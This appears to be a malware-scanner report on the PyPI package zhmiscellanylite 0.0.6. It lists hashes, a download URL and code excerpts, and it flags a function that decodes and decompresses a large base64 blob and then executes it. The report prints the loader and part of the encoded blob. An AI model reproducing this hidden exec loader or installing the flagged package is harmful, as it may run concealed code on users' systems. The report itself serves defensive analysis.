Hostile ^92% python Download

zhmiscellanylite 0.0.6

Executes decompressed obfuscated code payload

“A collection of useful/interesting python libraries made by zh.”

Executes runtime-decompressed codePython checks and copies a file

SHA-256e64dfda551ddfe8f9ae25d80df532f0cd8476257064ebcff875ec4f889a13176

URLhttps://files.pythonhosted.org/packages/fe/05/ec70fc8790f7363379ed74188012a4620264f4eae7a2b920bfb13da2d0d1/zhmiscellanylite-0.0.6-py3-none-any.whl

MaleculeK(Li)O₂(AsCo)H₈(CrDb₁₁DsF₁₁Hf₂Os₃Po₄U)Md(Pa₃)

Evidence

Python imports ctypes module lines 1–16

⋯8 lines
9
10def get_actual_screen_resolution():
11    import ctypes
12    if not WIN32_AVAILABLE:
13        print("get_actual_screen_resolution only supports Windows! Returning (0, 0)")
14        return (0, 0)
15    hdc = ctypes.windll.user32.GetDC(0)
16    width = ctypes.windll.gd …

Python psutil process metrics lines 93–108

34… 2process.GetWindowThreadProcessId(hwnd)
                  if psutil.Process(pid).name().lower() == process_name.lower():
                      handles.append(hwnd)
              except:
                  pass
          return True
      
      win32gui.EnumWindows(callback, None)
      return handles[0] if handles else None
  
⋯6 lines

Python sends a process signal lines 153–163

⋯5 lines
158    import os
159    import signal
160    os.kill(os.getpid(), signal.SIGTERM)
161
162
163def show_progress(things, total_things, extra_data='', smart_ratelimit=False, max_prints=1000 …

Computes an MD5 digest in Python lines 227–242

227:27… scellanylite.string.get_universally_unique_string()
228    spec = importlib.util.spec_from_file_location(module_name, path)
229    module = importlib.util.module_from_spec(spec)
230    spec.loader.exec_module(module)
231    return module
232
233
234def base62_hash(anything):
235    import hashlib
236    import zhmiscellanylite.string
237    return zhmiscellanylite.string.convert_to_base62(int(int(hashlib.md5(anything if isinstance(anything, bytes) else str(anything).encode()).hexdigest(), 16)**0.5))
238
239
240def md5_int_hash(anything):
241    import hashlib
242    return int(hashlib.md5(anything if isinstan …

Executes runtime-decompressed code lines 361–372

5… _obfuscate_python_impl():
  if not _obf_impl_cache:
      import base64 as _b64, zlib as _zlib
      _ns = {}
      exec(_zlib.decompress(_b64.b64decode(_OBF_BLACKBOX)).decode("utf-8"), _ns)
      _obf_impl_cache.append(_ns["obfuscate_python"])
  return _obf_impl_cache[0]
368
369
370_OBF_BLACKBOX = (
  "eNrsvWl348ixJvxdvwKjObe5FKUCwF1j+Rx1tbpdx7Xdkmx3D19dGgTAEi2KZBHUUl1V89snI3KL3EDZ7tt+x3afe10ikEgAiczIWJ544vDw8OB9+bBd7HblKlrP5ndVnu3K6ebT7nq9Oj44uMhuyyhfr/Jys4uyKtpdl9F6u/iwWGXLqJmxU0UZtYvF8m5Xbtsn0WIXVbvtYlNFm+1itaue5+vb25L9EWWr4mCx+kuZs783y+yuWsyW5dHsbndUlFkRFWW+/sSuZXcX7bfru1URfVrfbaNtye6Gt6rW+AjL9YdFfrCootnddlEW0WIV/eVudRMdHcETFOuyit68vWTXreD5dR+LgvW9mC/KbdXqsIt30NvBNXu2o+16uWQ9wdOvPkSbbFvBv7vrbAfPxi4sovbDdbkt21EmnjZf3y2L6MM6umYjMyvL1cG2ZK+Ws6YPi901a4c3/XNW7f4cPYv+vFvflKvFz+WfWfdVdRxdQue32Q17WvbU8BTLMsqWy+g+Wy6Kg3f4EaLm7d1ytzhaLlbsvRdsmLNlhf0/h/9Zwztss8USnhYGO6s6UbHId8+rcgejv9mW1+WqWqxXB/LqTgSfiI3+x7v1Tr0zOzw/Un/++X/+mY1qtYAxl8dmWX5TLbPq+oDNiN1idZftWLdwPzYc22y33rK/y2VVPi+Xi/nz8hFmzfM5zJXlpw57011+/TzPqrITVeXtIl8v4eqDYp2rW0yn87vd3bacTqPF7Wa93bFjx8fH7GOx0YFRWq0f2BCxacA6YLOEf4h2zp6qKqt2h53fHfzlrtqJM/O7VY4Pyebyd9v15mixOokqmBTV4sMqg1s503qzvIPpGq03cCV8wKosi9M/Hx98V7IBvF2sFtVukUezT+wm84x9naiJXS5WG/Y1jn7Lb8C+DPvZ+l/4sUUfv2Fr4rd/jubrbZQdFIv5nM2n1Q5XAZs623Vxl8OyYPOmYt0eHxyy9Xlw8MNyPcuW0/fRaZTEB4t51Gw2x+Mxm1Lwv+2oqRr8R9SPWy32DzvRap0cROy/75fr9fa7xf10+rDNNpsM+j+NsqKYztbFp+lmDeuU9fW9GKrvyvn0Q7masm8yvc+22MeLt69fn7+5nLLrS/YdTqMXfAKUU5gJ5eNuclZ9WuW0i+m3L9+8fTe9+On1FXbBlvZ2N10Uj8eshwqmbrNaLvJy2om+XezOVsWUL4BtC5v/UK5KnFLnj5vpTfnpYb2F+56tVmcVfLrpdMnEBps004cqev6c9bF6uzlgPf243grxNQWJMRUL+jQaipHrwoiFG6oh7MoB5K/GWlflx2OcxHD52+2UHetEaZc/8PnH6d2mYOLruFgwIbotmuyFtvdltWsdsHMv5+wRxuIRknQED8EP/0fEfrbYB8B/+C9xZ74EIj5H1WNs2ThN+Sk5NehgsEki75N2yeygbf4jGvTwJVP9lmpk16wLkErTJZvnTf524oXFVGINpotqqhZu8wWTMxms2ndn719e/jR98fb9+YXnQzJhBNeKgWF9ywuhyyTlj62OtWv/io4iz1E+guKdxMSa/vHti7NvYQqkMcyVUSy/2Ga9XsIDVdm8nN6WbDIU0/JxsxUfmAlsJn++Y9IU+p/CFIExaR3gcrre5PjUdEmy4VbnfIvRWSZMFNzCN2vgthnht4WVN2dDXTQmyUmXL5+zHTvP5EQ5XW+gPXb0J7aKplPYPydpj7d7sXucwqaHr3bMZ2Tzu3LJJBcsPjVXHxarYv1wzJYuW47N5boTPVTsc7Cr2UvzoTp4uF4wWcE+CD/aln/AXG3pX0fsF7zmQLzjOcr93/HVzGdrznaAKchi1nPKpzYMWV3Ldu1ZfAScwOKm8N9ue7e7Pl5UepcXsxf+m6+OP/CpWE5xI67ISTY32fLesA2SPaB5XybgiuiLOY3tr6j60V9pvsxA6IgZiMuJr5XJoH914EwD+IbTbTnH8YHtQfeUs6+AGg4bgQ9lM+7wuYbSH+Z …
  "BM5en7Tx4jWmpLkeKotJgxZmbCDE541RU7Qh6kMDkfr0zdnr8+m7t29fRfl6NV98gMngLTAqhh/LrPKqX/yZf9iVjdCWZV/V8byOh1NWMikwQXDij7NI1cvQ …

No evidence locations were recorded for this file. Raw result